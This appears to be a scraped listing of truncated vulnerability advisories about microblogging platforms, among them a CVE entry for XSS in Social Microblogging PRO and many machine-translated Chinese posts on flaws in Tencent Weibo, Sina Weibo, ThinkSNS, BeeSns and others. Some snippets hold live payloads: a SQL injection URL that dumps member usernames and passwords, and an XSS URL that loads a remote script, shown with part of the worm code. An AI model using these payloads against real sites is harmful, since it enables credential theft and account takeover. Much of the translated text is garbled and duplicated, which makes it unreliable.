CVE-2014-9516

Cross-site scripting XSS vulnerability in Social Microblogging PRO 1.5 allows remote attackers to inject arbitrary web script or HTML via the PATHINFO to the default URI, related to the "Web Site" input in the Profile section...

CVE-2014-9516

Cross-site scripting XSS vulnerability in Social Microblogging PRO 1.5 allows remote attackers to inject arbitrary web script or HTML via the PATHINFO to the default URI, related to the "Web Site" input in the Profile section...

CVE-2014-9516

CVE-2014-9516 documents a cross-site scripting (XSS) vulnerability in Social Microblogging PRO 1.5 . The issue allows remote attackers to inject arbitrary web script or HTML by exploiting the PATH_INFO to the default URI, specifically via the “Web Site” input in the Profile section . The primary ...

Social Microblogging PRO 1.5 - Persistent Cross-Site Scripting

Social Microblogging PRO 1.5 - Persistent Cross-Site Scripting Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability Date: 29-12-2014 Exploit Author: Halil Dalabasmaz Version: v1.5 Vendor Homepage: http://codecanyon.net/item/social-microblogging-pro/9217005 Tested on: Chrome &...

Mobile microblog SQL injection and 1 3 9 mailbox defects,can enter others 1 3 9 mailbox-vulnerability warning-the black bar safety net

Mobile modest system underSQL injection, and did not attempt cross-database 1 3 9 mailbox password to retrieve defect Implantation where the parameters appkey Such as:...

Twister Peer-To-Peer Microblogging Information Disclosure

======================================================================== TWISTER Peer-To-Peer microblogging Multiples Application Error Message and disclosing sensitive information ======================================================================== TIME-LINE VULNERABILITY Multiples Advisorie...

On the know Chong Yu intercepted the soil 0day-vulnerability warning-the black bar safety net

The day before yesterday in the microblogging see on the know Chong Yu sent most soil buy the 0day, the day before yesterday evening under a source code see, because just for microblogging on the screenshot to see, should the analysis is not comprehensive. Look at the page:./...

Tencent microblogging private letter stored XSS cross-site vulnerabilities-vulnerability warning-the black bar safety net

Vulnerability title: Tencent microblogging private letter storage typeXSScross site vulnerability Vulnerability type: xsscross-site scripting attacks Harm level: high Brief description: Recently everyone popular series. Then we are also opening it to the recent heartache of the fat has been...

ThinkSNS 2.8 arbitrary file upload vulnerability and fix-vulnerability warning-the black bar safety net

Microblogging upload pictures only in the front end for validation, the server side does not perform the security filtering. \api\StatusesApi.class.php function uploadpic if $FILES'pic' //Perform the upload operation $develop this program specifically = $this-getSaveTempPath; $filename = md5...

Thinksns microblogging system injection vulnerability a gold-bug warning-the black bar safety net

Author: Liuker Blog: www.2bhack.net I recently nothing to do Don't ask me how the audit of the color of the pen don't know what is audit? Visually it is a few friends have seen me audit the code time to give them a screenshot Just get some. In a few days and then engage in several section of the...

Notepad Dog microblogging V3. 6. 1 Build 2 0 A 1 2 0 7 1 8 background to get shell-vulnerability warning-the black bar safety net

Notepad Dog microblogging system, the background presence of design defects that can lead to get backstage access to the shell Version: V3. 6. 1 Build 2 0 a 1 2 0 7 1 8 1. System Tools-data backup-custom backup-select a data amount smaller table-more options-select compress backup...

Tencent microblogging XSS attack vulnerability-vulnerability warning-the black bar safety net

from: author:Kingthy's I believe we all know Sina Weibo in 6 on 2 8 may occurXSSattack event? That night, a large number of Sina Weibo users to automatically send tweets and automatically focus on one called“hellosamy“of the user. What exactlyXSSattacks why can have so much power for? Now many...

Notepad Dog microblogging 3. 0 0day-vulnerability warning-the black bar safety net

You know.... wap/index. php? mod=pm&pmnew=andselect%2 0 1%20fromselect%20count,concatselect%2 0select%2 0select%20concat0x27,0x7e,jishigoumembers. username,0x27,0x7e,jishigoumembers. password,0x27,0x7e%20from%20jishigoumembers%20where%20uid=1%20limit%200,1%20from%20informationschema...

Sina microblogging XSS vulnerability & XSS script content analysis-vulnerability warning-the black bar safety net

TwitterXSSvulnerability point weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.. com/images/t. js%3e%3c/script%3e? type=update TwitterXSSthe contents of the script function createXHR return window. XMLHttpRequest? new XMLHttpRequest: new ActiveXObject"Microsoft. XMLHTTP"; function getappkeyu...

BeeSns Twitter V0. 2 0day-vulnerability warning-the black bar safety net

Affected versions: BeeSns V0. 2 Official address: http://www.beesns.com/ Vulnerability type: elevation of Privilege Vulnerability analysis: IP filtering is not strict,causing the user can submit malicious parameters to enhance their own privileges. This microblogging system style nice, personally...

EasyTalk microblogging system X1. X file contains the vulnerability and the Fix-vulnerability warning-the black bar safety net

EasyTalk microblogging system X1. X file contains the vulnerability PluginsAction.class.php parameters in the file $GET'out' without any filter, directly take to call the include file, the resulting vulnerabilities generated. PluginsAction.class.php to:...

BeeSns microblogging system V0. 2 elevation of Privilege 0day and exp-vulnerability warning-the black bar safety net

Publishing author: sub-meter Affected versions: BeeSns V0. 2 Official address: http://www.beesns.com/ Vulnerability type: elevation of Privilege Vulnerability analysis: IP filter is not strict,causing the user can submit malicious parameters to enhance their own privileges. This microblogging...

Tencent Weibo falsification of information vulnerability, other microblogging is also affected by the impact-vulnerability warning-the black bar safety net

Brief description: Can be forged to anyone on Twitter, April Fools ' day entertainment the vulnerability, we know. Detailed description: In the meager dialogue and the broadcast send: Test || @mA:I'm not mA Can disguise mA huateng participate in the dialogue. Vulnerability to prove: Repair...

Kim Kardashian Twitter account Hacked !

Many celebrities have fallen prey to Internet pranksters and the latest name added to the list is reality TV star Kim Kardashian, whose Twitter account has been hacked. The 30-year-old socialite has appealed to bosses of the microblogging site to restore the security of her account after she...

BeeSns microblogging system V0. 2 elevation of Privilege oday+exp and fix-vulnerability warning-the black bar safety net

| Publishing author: sub-meter Affected versions: BeeSns V0. 2 Official address: Vulnerabilitydescription: IP filter is not strict,causing the user can submit malicious parameters to enhance their own privileges This microblogging system style nice, personally prefer, the look code is found some...